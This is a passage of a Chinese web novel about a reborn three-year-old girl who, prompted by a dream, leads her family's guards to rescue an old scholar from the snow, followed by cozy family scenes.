孟大川眼睛微微眯起,将女儿那张满是急切的小脸又捧近了些,仔细端详。这才发现她圆溜溜的眼睛里不只是惯常的淘气,还藏着一丝罕见的紧张与笃定,小脑袋更是像小鸡啄米似的不停点着。 他心下微奇,放缓了声音问:“又是……那位神仙姑姑告诉阿沅的?” “嗯!”阿沅用力点头,小胖手攥紧了爹爹的衣襟,努力组织着语言,“神仙姑姑……说,庄子外面……有人,快……快死了。”她故意将“死”字说得含糊又沉重,想加重事情的紧急性。 “什么人?”孟大川的眉头不易察觉地蹙了一下,心头警铃微响。这大雪封山、路径断绝的天气,寻常人绝无可能出现在这偏远的庄子附近。 能出现在此地的,若非有极其特殊的原因,便可能是极大的麻烦,甚至……会害得他们一家陷入万劫不复的境地。他不得不谨慎,语气虽柔,却带着探询的锐利。 “四(是)…四(是)…”孟沅小脸憋得有些红,脑子里飞快转着。她不能说“教授”,不能说“老师”,甚至“老人”这两个字都到了嘴边,又觉得不够分量。最后,她像是终于从记忆角落里挖出一个最合适、也最能引起爹爹重视的词,轻轻吐了出来,带着点神秘兮兮的意味:“大儒。” “神仙姑姑说了是大儒?”孟大川的声音陡然拔高了一瞬,身体甚至因激动而微微前倾。孟沅感觉到爹爹揽着自己的手臂都收紧了些,腰背似乎也挺直了。 她心中暗笑,面上却装得无比认真,无奈又郑重地点点头,仿佛在确认一个天大的秘密。 大儒这个称谓,她确实是憋了半天才说出来的。在她心里,杨教授那样的博士生导师,学富五车,桃李满天下,绝对当得起“大儒”二字。 至于万一老师穿越而来,身份有变……那大不了就是自己从神仙姑姑那里“听岔了”,或是神仙姑姑“没说清楚”。反正她只是个三岁小娃,童言无忌,谁能怪罪?这般一想,她小胸脯挺得更高,显得更加理直气壮。 至于孟大川为何如此激动,她再清楚不过了。爹爹还在为哥哥的学业和前程发愁,琢磨着去哪里请个有真才实学的好夫子,这“大儒”就如天降甘霖般在梦里出现了,还是“神仙指点”送上门来的。 这简直是刚想打瞌睡,就有人没入夜便塞了个绣花枕头过来,任谁半夜想起来,恐怕都要笑出声吧? “阿柒!”孟大川不再犹豫,扬声朝窗外唤道。 “在!大人请吩咐。”窗外立刻响起孟柒沉稳利落的回应,仿佛他一直就候在那里。 “你带两个人,立刻跟小姐出去一趟,”孟大川语速加快,带着不容置疑的决断,“一切全听小姐的吩咐行事。”他话音未落,怀里的阿沅早已像条滑溜的小鱼,“呲溜”一下滑下了床,小短腿噔噔噔就往外冲。 一面跑一面还不忘用她那特有的、含混却响亮的声音招呼外间的丫鬟:“绿果红豆!快!爹爹同意了!快点带窝飞飞!” 那胖乎乎、圆滚滚的小身子跑到门口,还特意停下,转过身,伸出小手指向庄子大门的方向,用力挥了挥,小下巴扬得高高的,脸上写满了“看,我说了算吧”的得意神气,仿佛她指的不是一道门,而是指挥着千军万马奔赴的战场。 “你这孩子,都快摆饭了,又闹的是哪一出?”外间的柳氏见女儿风风火火冲出来,倒也没硬拦,只是无奈地摇了摇头,转身进了里屋,对着丈夫轻声埋怨,语气里半是嗔怪半是担忧。 “夫君,您老是这么纵着阿沅,由着她的性子来,以后养成个天不怕地不怕的脾性,可如何能嫁得出去哟?” “嫁不出去?”孟大川朗声大笑,浑不在意,“嫁不出去,咱们就给她娶一个回来呗!”他拍了拍妻子的手,豪气道,“为夫以后定当多挣些银子,给我家阿沅攒一份厚厚的家底,将来定要给她‘娶’个才貌双全、性情温良的好夫婿进门!” 看见妻子在床头对他怒目而视,柳眉倒竖,孟大川那爽朗的笑声戛然而止,瞬间变了个调,带着讨好般的温柔,长臂一伸,将妻子揽到身边,声音也变成了绕指柔:“好云娘,莫气莫气,你听为夫慢慢说……” 第44章 四脚鱼 一开始,绿果和红豆还在门口犹豫,看着小姐像个小炮仗似的冲出来,嘴里喊着“飞飞”,小手指着大门外快要暗下来了风雪。 两人的脚步虽紧紧跟上了那抹红色的小身影,一左一右,亦步亦趋,生怕她跑快了在雪地里摔个跟头,但心里却直打鼓,想着无论如何得把这小祖宗劝回来,这天气哪能出门? 然而,眼见夫人只是进了内室,并未出声阻拦,内室里反而隐约传来大爷和夫人说话的声音,并无训斥之意。 两人对视一眼,心下明了:小姐所言非虚,确实得了大爷的首肯。可即便如此,她们也不敢真带小姐“飞”啊,只想着先在院子里、游廊下玩一会儿雪,等小姐兴头过了,再好言劝回屋去。 “快!快啊!”阿沅两只小胖手举了半天,酸了,也没等来期待中的“腾空而起”。她感觉自己迈着小短腿跑了这么久,都有些气喘了,还是没被拎着飞起来,顿时有点气急败坏。 她猛地停下脚步,转过身,学着爹爹平日里威严的样子(虽然效果只是奶凶奶凶的),大喝一声:“乌龙,现身!”心想,你们两个丫头不听话,看我召唤更厉害的!以后不带你们玩了! 她话音刚落,四道黑影便从不同方向掠来,比绿果红豆反应更快。阿九、十一身法轻盈,抢先落地,在雪面上踩出两对清晰的脚印。 可还没等他们站稳,一道更迅捷的白色身影如同大鹏般掠至,宽大的袖袍带起一阵劲风,正是老大孟柒。他看似随意地一摆臂,便将抢了先的阿九和十一“轻轻”撞开两步,自己则稳稳定在阿沅身前。 下一秒,阿沅只觉身子一轻,视野陡然升高,如同小鸡仔般毫无防备地被孟柒那穿着厚实白色大氅的臂膀夹在了腋窝下。 但这突如其来的“腾空”非但没吓着她,反而让她兴奋得手舞足蹈,在空中踢蹬着小短腿,挥舞着小胳膊,清脆的童音在风雪中格外响亮:“那里!那里!柒叔,快点,再快一点!往大门外去!” 小手坚定不移地指向庄子大门的方向,指挥若定。 小姐这般胆大活泼的模样,惹得孟柒和他几个随后落地的属下心中一阵稀罕,觉得这小主子着实有趣得紧,恨不得此刻提着小姐飞驰的是自己。 绿果和红豆更是懊悔不迭,早知小姐是动真格的,刚才就该依了她。眼下也顾不上许多,两人连忙提气,身影在雪地上轻盈滑行,紧紧跟上。 他们六人并未如孟柒那般高来高去,只是在积雪上借力疾掠,留下几道浅浅的痕迹。 也幸亏此时庄子里的人们大多蜷在暖和的炕头上,没人注意到主院上空,一个白色身影腋下夹着个兴奋挥舞的“大红球”,以极快的速度“漂移”而过,不然这奇景传出去,怕是真会酿出些“天降祥瑞”或“红鸾星动”之类的离奇传闻来。 “找人,快找人!”一出了庄子大门,扑面的寒气更甚,但阿沅毫不在意,咋咋呼呼的声音在空旷的雪野里回荡。 她小脑袋转来转去,循着梦境里模糊的轨迹,努力向下面张望,也没打算下地——在她的小脑瓜里,飞得高自然看得远,在空中肯定更容易找到那个蜷缩在雪地里的身影。 “找人?”孟柒闻言一愣,速度稍缓,有点不明所以,“小姐要找谁?是莲子还是红袖跑出来了?”他下意识以为,能让小姐如此着急寻找的,定是她平日最亲近的那两个人。 “不四(是)!四(是)大儒!”阿沅急着纠正,可“大儒”这词对她现在的口齿来说有些拗口,说得含混不清。 孟柒没听明白,紧跟上来的其他六人也面面相觑。但“找人”的意思总归是懂的,既然小姐说要找,那找便是了。 孟柒一个手势,下面六人迅速分成两人的小组,以庄子大门为起点,向三个主要方向排开,准备由近及远展开搜索。 然而举目望去,除了皑皑白雪反射着微弱的天光,以及远处黑沉沉的山峦剪影,视线所及,不见半点人踪或其他杂色。 阿沅自然也只看见白茫茫一片,心中的焦急更甚,连忙补充道:“老人!一个老人!可能……可能被雪埋了!”她想起梦里最后那个蜷缩的身影。 “对,雪大,被雪埋了也不一定,大家仔细些,用脚……踢开积雪看看。”阿九反应快,立刻明白了小姐的意思,接口说道。可他一个“用脚踢一踢”还没完全说出口,那个“踢”字却把空中的阿沅气恼了。 只见被孟柒夹着的小人儿,即便悬在空中,也努力把两只小胳膊往圆滚滚的腰身上一插,做出个生气的姿势,对着下面的阿九怒声“吼”道(声音奶脆):“不能踢!踢四(死)了,要你赔!啊!啊!啊!要轻轻!用手!” 她在空中张牙舞爪,踢腾得更厉害了,宛如一尾离了水却格外活泼的四脚鱼儿。孟柒只觉腋下的小人儿扭动得厉害,生怕她一个不小心滑脱,不得已连忙调整姿势,稳稳落在了雪地上。 孟柒暗暗咂舌,心下感叹:小姐这精神头,可真不是一般的好!在空中被夹着还能如此“折腾”,任他身手不凡,也被迫“紧急降落”。 这小祖宗,长大了还不知是怎样一个古灵精怪、胆大包天的人物,绝对是大人的种,没错! 第45章 倒向阿沅的大雪块 八人搜索小组在大门外,方圆几十丈仔细搜了一遍,但凡看见地面有点异常的凸起或凹陷,都用手中粗硬的树枝扒拉开来。 “小姐,这边都翻过了,没有。”十五直起腰,朝着阿沅的方向摇了摇头,呵出的白气在寒风中迅速消散。 “这边也没有……” “这边也没有。” …… 其他人陆续直起身,声音里明显有了一丝不易察觉的敷衍。 别说大活人,就连野兔、山雀乃至小狗小猫的踪迹都没寻到,只有无边无际、令人眼盲的纯白。 “小姐,您别不是……做了个梦吧?”绿果望着眼前白茫茫、厚得能埋没小腿的积雪,忍不住将心里的怀疑说出了口。 “这天气,这雪深,真要有人倒在这儿,怕是也……”她没说完,但意思谁都明白。 小姐醒来时红袖问她是否梦魇了,她和红豆在门外都听得真切,后来小姐急匆匆穿戴好就闹着要出门,在绿果看来,这分明是还没从梦里完全清醒过来。 “确实啊,小姐您看看这雪,足有两尺厚,踩下去都没过小腿肚了。”孟柒也不想跟小姐玩了,甚至产生了大人太过纵容女儿的怨怼。 “人被埋在底下,就算一时没闷死,这滴水成冰的天,也早冻成冰棍了。”十六小声嘀咕,脚不停地跺着地取暖。 “有哒!没有四(死)!再找!”阿沅急得小脸又红又白,奶音里带着不容置疑的倔强。可看着众人疲惫又带着些许不信的眼神,她心里那点原本坚如磐石的底气,也微微动摇起来。 难道……真是自己太过思念老师,才做了那样一个真切得可怕的梦?不,不能放弃!万一是真的呢?万一老师真的来了,却因为自己的放弃而……她简直不敢想下去,若真如此,她觉得自己也没脸再活一次了。 阿沅用力闭上眼睛,努力摒除周围的嘈杂,小眉头紧紧皱起,拼命回想梦境里的每一个细节……老师穿着那身略显单薄的深色衣袍,在白茫茫的雪地里踉跄几步,终于支撑不住,跌坐下去没了知觉……他冷极了,紧紧蜷缩成一团,像只受伤的兽……然后,梦里的自己急切地伸出手,想要搀扶他…… 画面在脑海中反复闪回,阿沅忽然捕捉到一个之前忽略的细节——老师蜷缩倒下时,上半身似乎并没有完全瘫软在地!梦中的自己想去扶他时,只是弯下了腰,而不是需要蹲得很低……这意味着,当时一定有东西支撑着他! “看看树下!”她脱口而出,随即目光猛地转向庄子大门的方向,“还有围墙!”她的小脑袋瓜飞速运转,整个庄子,只有大门两旁砌着真正的青砖围墙,其他地方要么是篱笆,要么是荆棘丛。 围墙高大,为了防雪压塌,墙根下铲除堆积的雪也格外多,形成一个个小雪包! “快!去围墙下找!”阿沅惊呼的同时,已经迈开小短腿,像颗红色的炮仗,朝着大门的方向奋力“滚”了过去。 “小姐,慢点!让奴婢来!”绿果和红豆见状,也顾不上其他,把外头搜索的任务匆匆丢给同伴,深一脚浅一脚地追了上去。 “这里……” “这边这个雪堆好像有点不一样……” 有了帮手,阿沅就不再徒劳地试图用自己那点微末力气去扒拉积雪了。她站在雪地里,小手指点着几个她觉得形状可疑、或者积雪颜色略深的雪堆,指挥着绿果和红豆:“扒拉!那里!还有那里!” 实在是她心有余而力不足,三岁孩童的小手,连根粗点的树枝都挥不动,更别说撬开冻硬的雪块了。指挥了一会儿,她觉得腿酸,便一屁股坐到了高高的门槛上,晃悠着两只小脚,眼睛依旧紧紧盯着搜索的两人。 “啊呀——!”突然,阿沅发出一声短促的惊叫,整个人毫无预兆地向后倒去! 所有人闻声猛地回头,拔腿冲她而来。离门最近的红豆反应最快,像只受惊的兔子般弹起来冲过去,但她的速度再快,也快不过门边那块因震动而骤然松脱、朝着门槛上小小人影劈头盖脸砸下来的厚重积雪! “噗”的一声闷响,阿沅连人带门槛被埋了进去,只剩一双穿着红棉鞋的小脚在外面无助地蹬了几下。 但好像砸得并不太狠?她的小手小脚很快又从雪里扑腾出来。 “救命啊!杀人啦!好……好重呀!”她带着哭腔的、口齿不清的呼救声从雪堆下闷闷地传出来,与其说是惊恐,倒更像是一只被惹急了、正在张牙舞爪的奶猫。 “小姐!”红豆的心都快跳出嗓子眼了,扑到雪堆前,用手拼命去刨。入手冰凉刺骨,但触感并非松散的浮雪,也不是坚硬的大冰块,底下似乎有什么……更有弹性的东西?指尖忽然碰到一点粗糙的、不同于冰雪的布料——深颜色的! “是人!”已经赶到近前的绿果也看到了那被红豆无意间扒拉出的一角黑色衣料,心里咯噔一下,暗叫不好。她不知哪来的力气,双手猛地插进雪堆,抱住压住小姐的人,用力往自己怀里一拽,同时急喊:“快点帮忙!真是个人!压着小姐了!” 红豆动作更是迅疾如风,几乎在绿果喊话的同时,一手就探进雪堆,准确地捞住了阿沅的小身子,将她像拔萝卜似的“拔”了出来,紧紧护在自己温热的怀里,上下检查:“小姐,伤着没?吓死奴婢了!” 阿沅在红豆怀里惊魂未定地喘了两口气,湿漉漉的眼睛却立刻望向绿果那边。只见绿果和随后赶到的暗卫七手八脚,迅速拍掉那人身上残留的积雪,露出了里面深色、沾满雪沫的衣袍,还有那眉毛眼睛都满是积雪的人。 那头花白的长发,那身形,那颜色……与她梦境中杨教授的穿着一般无二! “真的是大儒!”阿沅的小脸瞬间被巨大的惊喜点亮,她拍着小手,在红豆怀里兴奋地扭动大叫,“窝就嗦(说)!窝就嗦(说)有!” “还真是个老人……”阿九看着地上昏迷不醒、须发皆白、面容青紫的老者,喃喃道。 十一蹲下,伸出两根手指探到老人鼻端,屏息感受了片刻,抬头道:“老大,还有气!很弱,但确实还有!” “还愣着干什么!快,快背回去!小心点!”孟柒虽然嘴里大声招呼着众人,自己却已经蹲在了老人身边,快速检查他的四肢是否僵硬,有无明显外伤,同时迅速解开自己的外袄,裹在老人身上。 回去的路仿佛变得轻快了许多。小团子被绿果和红豆一左一右,笑嘻嘻地架着胳膊,让她的小脚离地,像只笨拙又快乐的小企鹅,在积雪未清的小路上“矮矮地飞”。 “快!飞飞!再高一点点!”她兴奋地咯咯直笑,银铃般的童音洒了一路。 “绿果,红豆,泥们要多吃饭饭!”她扭过头,看看左边的绿果,又看看右边的红豆,一本正经地“鼓励”道,“要像柒叔壮……带阿沅飞更高,高高!” 第46章 红色漂亮 “点几盆炭火!要烧得旺旺的!”孟柒的声音从东厢房传出来。 “愣着干什么,再去提两桶干净的雪进来!”又是一声厉喝,还有撕裂衣服的声音。 “脱掉湿衣服,用雪揉搓手脚和身子,不要停!搓到皮肤发红发热为止!”老北爷爷哑着嗓子吩咐,自己已经挽起袖子,抓了一把冰冷的雪。 老师被众人抬进了东厢房。阿沅迈着小短腿想跟进去,却被人高马大的柒叔像拎小鸡崽似的,轻轻一提就放到了门外。 “小姐,里头乱,您在外头等着。”门“吱呀”一声在她面前关上了。阿沅不依,只好委委屈屈地蹲在墙角,耳朵贴在冰冷的门板上,努力想听清里面的动静。闻讯赶来的红袖和莲子也跟着一起听墙角。 “阿沅,爹爹叫你进来。”过了一会儿,柳氏无奈地拉开门,看见缩成一小团的女儿,又是心疼又是好笑,伸手就把人拎了起来。 “还不进去?”话音未落,阿沅小屁股就结结实实地挨了不轻不重的一巴掌。 阿沅扭过头,冲娘亲吐了吐舌头,做了个滑稽的鬼脸。可一进屋,她还是没能逃脱被“收拾”的命运。 “呜呜!不换!还要穿红色的!”她看着柳氏手里那套粉嫩的新衣裙,小嘴一瘪,不干了,像条刚从水里捞出来的、滑不溜秋的小泥鳅,在柳氏怀里扭来扭去地挣扎。 那身红色的元宝服多好看呀,她还没穿够呢!刚才“飞”回来的时候,她觉得镜子里的自己,比前世同事怀孕时贴的“包菜娃娃”年画还要圆润可爱! “阿沅听话,在雪地里那么久,寒气都化到骨头缝里了,不换干爽衣服会生病的。”女儿今日歪打正着,可能真救了位了不得的人物,柳氏心里既后怕又有点骄傲,难得地拿出了十二分的耐心哄着,“女娃娃就该穿得粉粉嫩嫩的,你看这桃花粉多衬你,穿上定是又漂亮又乖巧。” “不要!就不要!红色漂酿(亮)!”阿沅的小孩子心性此刻发挥到了极致,脑袋摇得像拨浪鼓,身子扭得越发厉害,小胖手紧紧揪着自己红色袄子的前襟。 “脱下来又不是穿不着了,”眼看夫人束手无策,一旁帮忙的青衣笑着上前,声音温温柔柔的,说的全是哄三岁小孩的话,“小姐你看,外头天都黑透啦,该吃晚饭了,夫人备了热腾腾的锅子呢。吃完锅子,身子暖暖的,也该上床歇息了。” “放心,奴婢这就用炭盆给您把红袄子仔细烘得暖暖的、干干的,保证您明早一睁眼,就能穿得漂漂亮亮的!” “真哒?”这话精准地戳中了阿沅的心思,她眨巴着大眼睛,迟疑了一下,随即乖乖松开了小手,“好吧!那……那要烘得暖暖的哦!” 不得不说,换下了那身沾了雪沫、有些潮气的厚重红袄,穿上轻软干燥的粉色小袄和夹裤,身上确实感觉松快了许多,没那么沉甸甸了。 阿沅像只粉团子,骨碌一下就滚进了爹爹暖烘烘的被窝里,然后淘气地伸出小手,在孟大川结实的大腿上不轻不重地掐了一把。 “呲——小坏蛋!别以为爹爹舍不得打你屁股!”孟大川故意疼得呲牙咧嘴,板起脸,做出凶巴巴的样子威胁道,话音未落,却已俯下身,用自己下巴上那层新冒出的、硬硬的胡茬,去扎小团子柔嫩的脸蛋。 “哎呀!爹爹!不要!痒!哈哈……”纵然扭着身子拼命挣扎,阿沅最终也没能逃过爹爹的“胡子荼毒”,被扎得咯咯直笑,父女俩闹作一团,最后孟大川一把将笑得没力气的小女儿搂进怀里,两人都笑喘了气。 “宝贝阿沅,”孟大川轻轻拍着女儿的背,脸上带着期盼又有些不确定的神色,压低声音问,“你跟爹爹说,咱们救回来的那位老丈……真像你说的,是位大儒么?” 女儿刚才说救了个“大儒”时,他心里是七上八下的,既期待奇迹,又怕希望落空,空欢喜一场。没想到,女儿竟真领着人从雪堆里扒出个活人来! “嗯嗯!”阿沅在爹爹怀里用力点头,小脸因为刚才的玩闹红扑扑的,她比划着,“跟梦里一样一样哒!穿着好长好长的深色衫子,胡子白白的,长长的。” 说着,她竟从孟大川怀里挣出来,摇摇晃晃地站在炕上,小手抚弄着自己下巴上根本不存在的胡须,学着记忆里老先生们的样子,迈着四方步,一步一顿,小脑袋还微微晃着,倒真有那么几分严肃又诙谐的小先生模样。 “这孩子,学得还真有几分神韵。”柳氏在一旁看着,忍不住笑了,但笑意很快又被担忧取代。 “就是不知道人能不能救得回来。毕竟看着年岁不小了,怕是已过知天命之年,也不知在雪里冻了多久,那身长袍都湿透了,贴在身上,看着就冷到骨子里。” 想起刚才匆匆一瞥看到的那张青白交加、毫无生气的脸,柳氏忍不住叹了口气。 孟沅心里也正苦恼着呢:自己这空间,怎么偏偏就没有那种传说中能活死人肉白骨的灵泉呢! 她也懊悔,前世跟着爷爷,怎么就只对研制那些稀奇古怪的毒药和解毒剂感兴趣,没好好沉下心来学学正统的中医之道?如今空间里针对这种严重冻伤、元气大损的,却没什么特别对症的好药材。 “年纪大了,底子亏空,若是能救回来,后面就给他好好将养补补。”孟大川自己也是武夫,对医道不甚精通,只能想到最朴实的办法。 “好歹咱们这儿还有个经验丰富的老军医在。若是……若是冻伤了筋脉,导致日后行动不便,倒是可以试试神仙姑姑的药丸。” “对!补补!补补!”孟大川的话像一道亮光,瞬间劈开了阿沅脑海中的混沌。她这回不往自己衣服里掏了,而是就着暖暖的被窝,小手伸进虚掩的被角下,假装在里面摸啊摸,掏啊掏,嘴里还念念有词。没一会儿,就在爹娘惊愕的目光中,接二连三地“变”出东西来。 “喏,人参!补补!”一根品相不错、须子完整的老山参被放在了被褥上。 “鹿茸!补补!”一个油纸包展开,里面是一长根鹿茸。 “大灵芝!补补!”一朵比阿沅小手还大的紫褐色灵芝赫然出现。 “这个……也补补!”三七,她假装叫不出名字了。 “那个……补补!” …… 凡是阿沅根据前世模糊记忆,觉得能“补身体”、“活血”、“回阳”的药材,她都不吝啬地从空间里往外搬。 看着爹娘目瞪口呆、仿佛见了鬼似的表情,她就觉得特别有成就感,小嘴还叭叭地报着“来历”,一副“我早有准备”的小模样:“这个……二房的;这个……渣奶的;这个……二叔的……” 至于娘亲嫁妆里那些真正压箱底的好东西?阿沅“嘿嘿”一笑,眯起了那双透着狡黠灵动的大眼睛:那是娘亲的宝贝,可得好好留着,自家人慢慢用! 第47章 大儒醒了吗? “大儒醒了吗?” 早上睁开眼睛,带着浓浓的起床气,阿沅迷迷糊糊地伸出两只胖乎乎、带着肉窝窝的小手,先是在暖和的被窝里伸了个大大的懒腰,又张开小嘴,打了个无声但十分用力的呵欠,眼角甚至还挤出了一点泪花。她才刚把眼睛完全睁开,就探过头来,带着点好奇和期待问了这么一句。 “老头还没醒呢!”红袖手脚麻利地将大红元宝袄服给小姐套上,一面利落地系着侧边的盘扣,一面回答她的问话,声音里透着点无奈的笑意,心想:明明是个乞丐一般老头儿,小姐怎么叫他大儒。 “昨晚可折腾了够呛。先用几大桶的雪搓;后来浓浓的小米粥,硬是给灌下去半碗;最后还说怕他身子冷,让喂了两口烧刀子暖身子。这么一番折腾下来,眼下倒是睡得沉了,老北爷爷说,脉象比昨天稳当了些,活过来应该是没问题的。” 她说着,手上动作不停,又想起了什么,提醒道:“对了,青衣姑姑说话算数,今儿个天还没大亮,就把小姐您的这套新衣服给送进来了,说是答应给您今天穿的。” “嗯嗯,青衣姑姑最好了。”只要能穿这身衣服,阿沅就高兴。 “那……”但是听说老师还没醒过来,阿沅的小脸顿时垮了一下,圆溜溜的杏眼里闪过一抹小小的失望。她原本还盘算着,等杨教授醒了,一定要好好“审问审问”他。 前世的实验室爆炸之后,国家损失了她这么个顶尖的农业天才,新闻上到底是怎么说的?大家是不是都很痛心疾首? 还有啊,她“牺牲”之后,现代世界又发生了什么新奇好玩的大新闻没有?她心里可攒了好多问题呢!可惜,老师还在睡。 “今天玩什么?”不过,小孩子家忘性大,那点子小小的失望只在心里盘旋了三秒钟,就被窗外透进来的雪亮天光给驱散了。 她天性里的活泼好动又占了上风,主要是一想到外面又是白茫茫、冷飕飕的一片,不能出去玩,就觉得好生无聊,小嘴不自觉地就撅了起来。 红袖看着自家小姐这变脸比翻书还快的小模样,忍俊不禁道:“我的好小姐,您临睡前不是还嘟嘟囔囔,说今天一定要拉上少爷,还有我们几个,去院子里堆一个大大的雪人吗?” 旁边的绿果早就备好了温热的毛巾,这会儿轻柔地给阿沅擦了擦脸和手。被这热气一蒸,再听到红袖提起堆雪人,阿沅那点无聊瞬间飞到了九霄云外,眼睛里“唰”地一下亮起了光,小身子也跟着扭动起来:“对!堆雪人!走,堆雪人去!” 她嘴里嚷着,哧溜一下就像条灵活的小鱼儿般滑下了床,趿拉上毛茸茸的虎头棉鞋,拔腿就想往外冲。 可惜,人小力微,还没跑出两步,就被眼疾手快的红袖从后面一把抱住,搂了个结结实实。“哎哟我的小姐,外头天寒地冻的,好歹也得把头脸收拾齐整了呀!头发还没梳呢!” 阿沅在她怀里努力地蹭啊蹭,像只不听话的小猫,死命地摇着小脑袋,帽子边沿的白色绒毛都跟着乱颤:“不梳,不梳嘛!戴帽子!” 她心里门儿清:自己现在就这么稀疏疏的两小撮黄毛,天暖和的时候,最多也就能在头顶揪两个可怜巴巴的小鬏鬏,像两颗发育不良的小豆芽。现在戴上这厚厚的、能把耳朵都包住的绒帽子,那两撮头发自然就服服帖帖了,根本用不着折腾。 哼,别以为她不知道,红袖她们一个个的,就是逮着机会就想抱她、搂她,还要贴贴脸,她阿沅可是有“前世记忆”的人,又不是真的三岁小娃,不要面子的么!男的女的都想抱,那怎么成! “就算戴帽子,也得把头发理顺了呀,不然缠在一起,该疼了。”绿果也在一旁帮腔,语气温柔但态度坚决。 几个丫鬟笑着,到底还是把这个不老实的小人儿“镇压”下来,按在梳妆台前,用细齿的木梳将她那点软软的头发轻轻梳顺,才给她套上了那顶镶着兔毛边、顶上还有个红色绒球球的暖帽。 “妹妹!” 终于得到解脱,阿沅兴奋的小短腿刚跨过高高的门槛,还没踩实院子里被扫得只剩薄薄一层的雪,就被门口突然冒出的人影和一声带笑的呼唤吓得一个哆嗦。 只见门边,穿着青色棉袍、身姿挺拔如小松的孟怀瑾正笑眯眯地等着,一双修长的手已经伸了出来,摆明了就是要抱她。阿沅条件反射般地连连摆动着小胖手,小脑袋摇得像拨浪鼓:“不要,不要抱!” 转念又怕哥哥像昨天那样,抱完就要抓她去书房“认字”,赶紧又迅速补充了一句,语气里满是警惕:“窝不要写字!” 孟怀瑾被她这副如临大敌的小模样彻底逗乐了,清俊的脸上笑容绽开,眼睛清明,没有一丝憨态。 他有时候真觉得奇怪,自家这妹妹聪明机灵得不像话,可偏偏对读书识字这事避之唯恐不及。要不是他们兄妹俩,一个长得像爹,剑眉星目;一个活脱脱是娘亲的翻版,杏眼桃腮,他都要怀疑是不是当初抱错了娃娃。 他可不会由着她躲,长腿一迈就进了门廊,弯腰伸手,轻轻松松就把这个裹得像颗红果子的小妹捞进了怀里,还用带着点凉意的手指捏了捏她温热软糯的脸蛋,口气笃定地逗她:“妹妹肯定猜不出来,今天早饭娘亲特意给你准备了什么好吃的!” “唔……”阿沅被哥哥抱着,鼻尖嗅到他身上干净的皂角味和一丝淡淡的墨香,身子不自觉地就靠了过去,甚至还伸出小手,好奇地摸了摸他下巴上那点新冒出来的、有些粗糙的胡茬。 听到吃的,她眨巴着大眼睛,掰着手指头数:“饺子……肉包子……肉肉粥……嗯……还有,还有臭臭的豆汁!”说到豆汁,她立刻皱起了小鼻子,整张脸都写满了嫌弃,仿佛已经闻到了那股子酸馊味。 “猜对了一半,”孟怀瑾笑着,忽然把一直虚握着的另一只手摊开,递到她的眼皮子底下,压低声音,带着诱惑的语气说:“娘亲还给你蒸了一碟糖糕,还温了牛乳,可甜可软了,上面还洒了桂花蜜呢……妹妹要不要?” “要!”阿沅这一次,嘴比眼睛反应还快,美食的诱惑瞬间战胜了一切。她的小身子猛地向前一扑,差点直接从孟怀瑾怀里栽下去,这突如其来的动作把毫无准备的少年吓了一大跳,赶紧双臂用力将她扶正,心有余悸地连声道:“小心点!摔了可不得了!” 就在这一扑一扶之间,一只小巧玲珑、栩栩如生的木雕小兔子,已经被塞进了阿沅暖呼呼的手心里。 兔子雕得憨态可掬,耳朵微微耷拉着,眼睛处还点了两点朱砂,活灵活现。阿沅立刻爱不释手,翻来覆去地看,嘴里大声宣布:“喜欢!窝最喜欢嘚嘚了!”那甜腻腻的小奶音,让孟怀瑾脸上的笑意又深了几分。 第48章 一家人其乐融融 兄妹俩笑闹着,相携着往正屋走去。 由于孟大川的身体日渐好转,精神头也足了,如今过年一家人的一日三餐,除了偶尔吃热闹的暖锅子,其余时候都喜欢把饭摆到他的屋里,就图个热闹团圆。 “瑾儿刚才可是去东厢房看过大儒了?”还没等两个孩子开口请安,半靠在床头、气色明显好了许多的孟大川就冲儿子发问道,语气平常,却仿佛早就知道他起了大早去探视过一般。 “回父亲,儿子刚从东厢房出来。”孟怀瑾将妹妹稳稳地放在铺着厚厚褥子的床榻上,恭敬地回答。 他走到父亲床前,仔细回禀:“那位先生脸上瞧着比昨晚有了一点血色,气息也均匀些。老北爷爷说,夜里听见他含糊地哼了几声,想来离醒转不远了,父亲不必过于忧心。” “嘚嘚!泥(你)要准备礼物哦!”阿沅在宽大的床榻上滚了半圈,寻了个舒服的位置坐好,举起手里新得的木雕小兔子,一本正经地提醒哥哥,小脸上一派严肃,只是带着浓浓的奶味。 孟怀瑾看着她那小大人似的模样,心里一暖,温声应道:“哥哥知道,等先生醒了,定当郑重拜见。”他明白妹妹这是提醒他尊师重道呢。 阿沅眨巴着大眼睛,心里却转着自己的小九九。她虽然人小,但芯子里装着前世的阅历,忍不住要替这个实诚的哥哥多思量几分。 杨教授那人,她可太了解了,学问自然是顶呱呱,但脾气嘛……说好听了是不拘小节,说直接点就是有点古怪,对不上他胃口的人,他能把嫌弃写在脸上。 前世也就她这种天赋异禀又踏实肯干的“得意门生”能得他几分好脸色。如今到了这规矩森严的古代,教授他老人家还能不能适应?看不对眼怎么办? 她偷偷瞄了一眼俊朗挺拔、气质温润的哥哥。嗯,还好,哥哥不是那种死读书的酸腐文人,还是个顶顶有才华的少年秀才。 只是……他从小锦衣玉食,会不会是那种“四体不勤,五谷不分”的类型?而杨教授一辈子扎根土地,最看不惯的可能就是这种。这师徒缘分,有点悬呐…… 不过嘛……阿沅滴溜溜地转着乌黑的眼珠,小脸上露出一丝狡黠的笑意。他若是不肯收哥哥为徒,或者嫌弃哥哥不懂农事……嘿嘿,她也不是没有办法。 到时候就“不经意”地“打击”一下老头子好了:您老人家是五谷丰登的专家不假,可四书五经、科举文章,您能教吗?咱们各有所长嘛! “阿沅,自个儿在那儿神游天外,想什么美事呢?笑得像只偷到油的小老鼠。”和儿子交谈了几句,孟大川再回过头,就看到女儿抱着小木兔,坐在那儿,嘴角翘着,眼睛弯弯,一副贼兮兮、仿佛占了天大便宜的小模样。 他顿时心痒,长臂一伸就把她捞到了自己跟前,用自己还没打理、带着胡茬的下巴去蹭她娇嫩的小脸蛋。 “哎呀呀!臭爹爹!扎人!痒痒!”阿沅立刻“惨叫”起来,在爹爹怀里像条活鱼般扭动,小手小脚胡乱踢蹬着,嘴里“哎哟哎哟”叫得夸张又响亮,仿佛受了多大“酷刑”似的。 父女俩笑闹成一团,直到阿沅玩得忘形,一个翻身差点滚下床沿,被一直含笑看着的孟怀瑾敏捷地伸手接住,这场“晨间大战”才告一段落。 随之,柳氏端着粥碗进来,看到这乱糟糟、暖融融的一幕,又是好笑又是无奈,温声招呼道:“好了好了,你们两个,一大清早就没个正形。快都过来坐好,早饭要凉了。” 